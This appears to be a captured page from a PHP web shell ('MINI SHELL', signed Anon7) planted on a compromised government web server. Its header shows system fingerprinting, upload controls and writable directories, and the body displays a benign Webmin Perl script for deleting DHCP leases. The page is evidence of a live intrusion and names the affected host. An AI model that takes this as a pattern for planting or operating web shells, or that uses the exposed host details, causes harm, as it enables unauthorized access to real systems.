MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/dhcpd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/dhcpd/delete_lease.cgi
#!/usr/bin/perl
# delete_lease.cgi
# Delete one lease from the leases file

require './dhcpd-lib.pl';
&ReadParse();

%access = &get_module_acl();
&error_setup("<blink><font color=red>$text{'eacl_aviol'}</font></blink>");
if( !($access{'w_leases'} && $access{'r_leases'}) ) {
	&error("$text{'eacl_np'} $text{'eacl_pdl'}");
	}       

&tokenize_file($config{'lease_file'}, \@tok);
$i = $j = 0;
while($i < @tok) {
	$lease = &parse_struct(\@tok, \$i, $j++, $config{'lease_file'});
	if ($lease->{'index'} == $in{'idx'}) {
		# found the one to delete!
		&lock_file($config{'lease_file'});
		$lref = &read_file_lines($config{'lease_file'});
		splice(@$lref, $lease->{'line'},
		       $lease->{'eline'} - $lease->{'line'} + 1);
		&flush_file_lines();
		&unlock_file($config{'lease_file'});
		&restart_dhcpd();
		&webmin_log("delete", "lease", $lease->{'values'}->[0]);
		last;
		}
	}
&redirect("list_leases.cgi?all=$in{'all'}&network=$in{'network'}&netmask=$in{'netmask'}");


Anon7 - 2021